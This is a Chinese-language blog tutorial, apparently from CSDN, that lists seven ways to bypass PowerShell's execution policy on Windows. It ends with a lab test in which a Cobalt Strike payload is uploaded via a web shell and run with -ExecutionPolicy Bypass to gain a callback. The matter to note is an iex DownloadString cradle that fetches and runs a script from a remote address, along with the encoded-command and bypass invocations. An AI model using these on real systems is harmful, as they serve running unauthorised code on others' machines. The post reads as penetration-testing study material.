PowerShell禁止执行策略绕过实践

在Windows中,为了防止使用者允许恶意脚本,PowerShell提供了一个执行策略,在默认情况下这个策略为不能运行。
那我们如何指导运行规则呢?
cmd中执行 powershell Get-ExecutionPolicy
Get-ExecutionPolicy
这里为Restricted,那其实相关的策略有:

策略描述
Restricted默认设置。在任何条件下,都不允许PowerShell脚本运行
AllSigned只有数字签名的脚本(包括配置文件脚本)将会运行,此外,会提示你允许运行那些使用指定的证书签名的脚本
RemoteSigned经本地编写的脚本将会运行。从网络下载的脚本运行,除非他们签名了并且你批准了的签名的证书
UnRestricted所有的脚本都将运行,但是,对于下载的脚本会警告你,而且,它们运行前必须批准
ByPass任何脚本都将运行,而且不管其来源。这是一个潜在的非常危险的设置,只有在非常特定的情况下才使用;其中,其他的安全性系统已经准备好了,可以防止流氓脚本未经你的许可而运行
Undefined如果没有认为的设置过主机的PowerShell脚本执行策略。默认是Restricted,禁止所有脚本运行

如果是正常用户,能够直接设置powershell执行权限,可以用Set-ExecutionPolicy进行设置,将ExecutionPolicy改为Unrestricted,可以运行未签名的脚本
Set-ExecutionPolicy Unrestricted
效果如下
设置效果大小写好像也不重要
大小写效果但是很多时候,我们并不是用户,就需要去绕过限制禁止执行的限制,在目标机器上执行我们想要执行的PowerShell代码

然后就测试了一些方法,以下几种实用比较容易,也确实都可以

1.直接在控制台输入

不写入磁盘。不会导致任何配置更改。
直接输入

2.从文件中读取脚本并通过PowerShell的标准输入

powershell Get-Content test.ps1 | PowerShell.exe -noprofile -
Get-Content powershell GC test.ps1 | PowerShell.exe -noprofile -
GCpowershell type test.ps1 | PowerShell.exe -noprofile -
type同理,可以使用echo把内容传递过去,类似linux下。
不写入磁盘。不会导致任何配置更改。
powershell Echo 'Write-Host "My voice is my passport, verify me." '| PowerShell.exe -noprofile -
echo

3.下载的方式

从网上下载PowerShell脚本并执行。
不写入磁盘。不会导致任何配置更改。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.159.134/pstest')"
网页信息下载执行

4.command

不写入磁盘。不会导致任何配置更改。
Powershell -command "Write-Host 'hello world'"
Powershell -c "Write-Host 'hello world'"
command

5.EncodeCommand

不写入磁盘。不会导致任何配置更改。
在powershell中执行如下命令
$command = "Write-Host 'hello world'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
EncodeCommand或者拿到编码后的信息,再运行
powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgA CcAaABlAGwAbABvACAAdwBvAHIAbABkACcA
EncodedCommand
-EncodedCommand参数可以简写为-Enc
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcAaABlAGwA bABvACAAdwBvAHIAbABkACcA
Enc

6.Invoke-Command

不写入磁盘。不会导致任何配置更改。
powershell invoke-command -scriptblock {Write-Host "hello world"}
Invoke-Command

7.ByPass

不写入磁盘。不会导致任何配置更改。
PowerShell.exe -ExecutionPolicy UnRestricted -File test.ps1
ByPass这里应该是用某种策略执行脚本,所以比如下载的,可以用RemoteSigned来生效

实践

最后再来进行cs shell上线测试
生成powershell脚本,然后蚁剑上传
直接执行自然不行,powershell ./payload执行下,报如下信息
禁止执行所以要绕过执行限制
PowerShell.exe -ExecutionPolicy Bypass -File payload.ps1
绕过执行限制成功上线
成功上线
以上这些都是测试过的,我测试的机子是win7,有兴趣的可以试试。

参考链接:https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值